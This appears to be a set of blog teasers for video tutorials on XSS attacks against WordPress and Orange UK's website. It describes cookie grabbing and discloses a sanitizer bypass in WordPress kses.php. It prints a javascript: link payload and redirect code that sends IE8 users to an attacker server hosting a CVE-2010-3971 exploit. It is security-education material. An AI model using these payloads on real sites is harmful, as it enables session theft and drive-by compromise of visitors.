In a previous video  Wordpress XSS + Internet Explorer 8 Exploit  i showed you how you can use a Cross-site scripting vulnerability to redirect a victim with Internet Explorer to a malicious site containing an exploit for version 8. Another way, is to use it as cookie grabber. From wikipedia: A cookie, also known as an HTTP cookie, web cookie, or browser cookie, is usually a small piece of data sent from a website and stored in a user's web browser while a user is browsing a website. When the user browses the same website in the future, the data stored in the cookie can be retrieved by the website to notify the website of the user's previous activity. Basically, when a user visit the "infected" page all cookies of that domain will be sent to a script which will store informations in a file/db or sent via email to the attacker. After selecting our wordpress target (franksite.dot/wordpress) we use a vulnerability scanner called wpscan developed by ethicalhack3r ...

A lot of times i have seen Cross-site scripting vulnerabilities classified as low impact or not significant. Thus, this time i want to show you how an attacker can get administration privileges through a simple XSS. A couple of months ago i discovered an XSS vulnerability affecting the uk website of Orange http://www.orange.co.uk . I've emailed them a month ago (and two weeks ago) regarding this vulnerability, but i haven't received any response yet. From wikipedia: Orange is the flagship brand of the France Telecom group for mobile, landline and Internet businesses, with 226 million customers as of December 2011 and, under the brand Orange Business Services, is one of the world. How i found this XSS ? When you read an article, for example this one obesity_levels_could_be_cut_with_20_fat_tax , you can see  the users comments at the bottom of the page. If a user want to leave a comment, he must log in via google, facebook etc.... Once logged, the website create a profil...

The 30th December of 2010 a guy named sneak reported a persistent XSS vulnerability that affect the popular blog cms wordpress <= 3.0.3. The problem is located into the kses.php file which is the HTML sanitation library. If we type a link with the href attribute written in capital letters this library don't filter the content properly. Example: <a HREF="javascript:alert(0)">CLICK HERE</a> If we post a comment this tag will be accepted as a common link. With this vulnerability we can craft a piece of code that can steal cookies, redirected to other sites etc.... This video shows you how it can be easy for everyone to craft an evil comment to redirect the victim to a server where there is an exploit for Internet Explorer 8 ( CVE-2010-3971 ). Our evil code: var s = navigator.userAgent; if( s.search('MSIE 8.0') != -1 ) { window.location = "http://192.168.2.13:8080/news"; } Reference and more detailed information: - Sneak ...